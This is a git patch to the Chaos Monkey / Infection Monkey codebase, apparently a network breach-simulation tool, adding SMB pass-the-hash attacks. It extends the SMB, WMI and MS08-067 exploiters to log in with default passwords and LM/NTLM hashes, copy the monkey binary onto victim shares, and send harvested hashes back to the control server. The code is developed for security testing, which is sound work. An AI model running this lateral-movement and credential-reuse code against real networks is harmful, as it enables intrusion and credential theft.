From 89b442be587ceabb121302fb66b525c8cbd9672f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 26 Sep 2017 18:11:13 +0300 Subject: [PATCH] Implement pass the hash for SMB --- chaos_monkey/config.py | 16 +++++++ chaos_monkey/example.conf | 2 + chaos_monkey/exploit/smbexec.py | 32 +++++++------- chaos_monkey/exploit/tools.py | 55 ++++++++++++++----------- chaos_monkey/exploit/win_ms08_067.py | 12 +++--- chaos_monkey/exploit/wmiexec.py | 4 +- monkey_island/cc/resources/telemetry.py | 4 ++ monkey_island/cc/services/config.py | 50 ++++++++++++++++++---- 8 files changed, 120 insertions(+), 55 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b9d250cd8..30a49fd15 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -229,8 +229,24 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) + def get_exploit_user_password_or_hash_product(self): + """ + Returns all combinations of the configurations users and passwords or lm/ntlm hashes + :return: + """ + cred_list = [] + for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']): + cred_list.append(cred) + for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list): + cred_list.append(cred) + for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']): + cred_list.append(cred) + return cred_list + exploit_user_list = ['Administrator', 'root', 'user'] exploit_password_list = ["Password1!", "1234", "password", "12345678"] + exploit_lm_hash_list = [] + exploit_ntlm_hash_list = [] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 3db576ad3..7fa91bab5 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -62,6 +62,8 @@ "skip_exploit_if_file_exist": true, "exploit_user_list": [], "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], "sambacry_trigger_timeout": 5, "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_shares_not_to_check": ["IPC$", "print$"], diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index e23818f4d..5c316ba99 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -16,7 +16,7 @@ try: from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT from impacket.smb import SessionError as SessionError2 from impacket.smb3 import SessionError as SessionError3 -except ImportError, exc: +except ImportError as exc: print str(exc) print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' @@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_password_pairs = self._config.get_exploit_user_password_or_hash_product() exploited = False - for user, password in user_password_pairs: + for user, password, lm_hash, ntlm_hash in user_password_pairs: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - user, - password, src_path, self._config.dropper_target_path, + user, + password, + lm_hash, + ntlm_hash, self._config.smb_download_timeout) if remote_full_path is not None: - LOG.debug("Successfully logged in %r using SMB (%s : %s)", - host, user, password) + LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", + host, user, password, lm_hash, ntlm_hash) host.learn_credentials(user, password) exploited = True break else: # failed exploiting with this user/pass - report_failed_login(self, host, user, password) + report_failed_login(self, host, user, password, lm_hash, ntlm_hash) - except Exception, exc: - LOG.debug("Exception when trying to copy file using SMB to %r with user" - " %s and password '%s': (%s)", host, - user, password, exc) + except Exception as exc: + LOG.debug("Exception when trying to copy file using SMB to %r with user:" + " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host, + user, password, lm_hash, ntlm_hash, exc) continue if not exploited: @@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(user, password, host.ip_addr, - "", "", None) + rpctransport.set_credentials(user, password, '', + lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() try: scmr_rpc.connect() - except Exception, exc: + except Exception as exc: LOG.warn("Error connecting to SCM on exploited machine %r: %s", host, exc) return False diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 2e8aa4fa5..bad9efb51 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -62,7 +62,7 @@ class WmiTools(object): try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - except Exception, exc: + except Exception as exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: @@ -156,7 +156,7 @@ class WmiTools(object): query_record[key] = record[key]['value'] query.append(query_record) - except DCERPCSessionError, exc: + except DCERPCSessionError as exc: if 1 == exc.error_code: break @@ -169,20 +169,21 @@ class WmiTools(object): class SmbTools(object): @staticmethod - def copy_file(host, username, password, src_path, dst_path, timeout=60): + def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = __import__('config').WormConfiguration src_file_size = monkeyfs.getsize(src_path) - smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout) + smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None # skip guest users if smb.isGuestSession() > 0: - LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges", - host, username, password) + LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," + " LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) try: smb.logoff() @@ -193,7 +194,7 @@ class SmbTools(object): try: resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception, exc: + except Exception as exc: LOG.debug("Error requesting server info from %r over SMB: %s", host, exc) return None @@ -210,7 +211,7 @@ class SmbTools(object): try: resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception, exc: + except Exception as exc: LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc) return None @@ -252,13 +253,13 @@ class SmbTools(object): share_path = share['share_path'] if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, timeout) + smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None try: tid = smb.connectTree(share_name) - except Exception, exc: + except Exception as exc: LOG.debug("Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc) continue @@ -293,7 +294,7 @@ class SmbTools(object): src_path, share_name, share_path, host) break - except Exception, exc: + except Exception as exc: LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) continue @@ -307,23 +308,23 @@ class SmbTools(object): if not file_uploaded: LOG.debug("Couldn't find a writable share for exploiting" - " victim %r with username %s and password '%s'", - host, username, password) + " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) return None return remote_full_path @staticmethod - def new_smb_connection(host, username, password, timeout=60): + def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) - except Exception, exc: + except Exception as exc: LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) - except Exception, exc: + except Exception as exc: LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None @@ -334,10 +335,10 @@ class SmbTools(object): # we know this should work because the WMI connection worked try: - smb.login(username, password, domain=host.ip_addr) - except Exception, exc: - LOG.debug("Error while loging into %r using user %s and password '%s': %s", - host, username, password, exc) + smb.login(username, password, '', lm_hash, ntlm_hash) + except Exception as exc: + LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", + host, username, password, lm_hash, ntlm_hash, exc) return None, dialect smb.setTimeout(timeout) @@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None): GUID, target_host.default_tunnel, target_host.default_server, depth, location) -def report_failed_login(exploiter, machine, user, password): +def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''): from control import ControlClient - ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, - 'exploiter': exploiter.__class__.__name__, - 'user': user, 'password': password}) + telemetry_dict =\ + {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, + 'user': user, 'password': password} + if lm_hash != '': + telemetry_dict['lm_hash'] = lm_hash + if ntlm_hash != '': + telemetry_dict['lm_hash'] = ntlm_hash + + ControlClient.send_telemetry('exploit', telemetry_dict) def get_binaries_dir_path(): diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index ac9f878c7..7213aed62 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + self._config.ms08_067_remote_user_add, + self._config.ms08_067_remote_user_pass) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(host, - "Administrator", - password, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + "Administrator", + password) if remote_full_path: break diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 312a497da..15ccb9375 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -73,10 +73,10 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - user, - password, src_path, self._config.dropper_target_path, + user, + password, self._config.smb_download_timeout) if not remote_full_path: diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 4db48e010..0fea9b4d5 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_username(user) if 'password' in creds[user]: ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user]: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user]: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 6f6071aa3..8af645dcc 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -405,10 +405,36 @@ SCHEMA = { "monkey_log_path_windows": { "title": "Monkey log file path on Windows", "type": "string", - "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", + "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", "description": "The fullpath of the monkey log file on Windows" } } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "exploit_lm_hash_list": { + "title": "Exploit LM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of LM hashes to use on exploits using credentials" + }, + "exploit_ntlm_hash_list": { + "title": "Exploit NTLM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of NTLM hashes to use on exploits using credentials" + } + } } } }, @@ -804,20 +830,28 @@ class ConfigService: return SCHEMA @staticmethod - def creds_add_username(username): + def add_item_to_config_set(item_key, item_value): mongo.db.config.update( {'name': 'newconfig'}, - {'$addToSet': {'exploits.credentials.exploit_user_list': username}}, + {'$addToSet': {item_key: item_value}}, upsert=False ) + @staticmethod + def creds_add_username(username): + ConfigService.add_item_to_config_set('exploits.credentials.exploit_user_list', username) + @staticmethod def creds_add_password(password): - mongo.db.config.update( - {'name': 'newconfig'}, - {'$addToSet': {'exploits.credentials.exploit_password_list': password}}, - upsert=False - ) + ConfigService.add_item_to_config_set('exploits.credentials.exploit_password_list', password) + + @staticmethod + def creds_add_lm_hash(lm_hash): + ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash) + + @staticmethod + def creds_add_ntlm_hash(ntlm_hash): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) @staticmethod def update_config(config_json):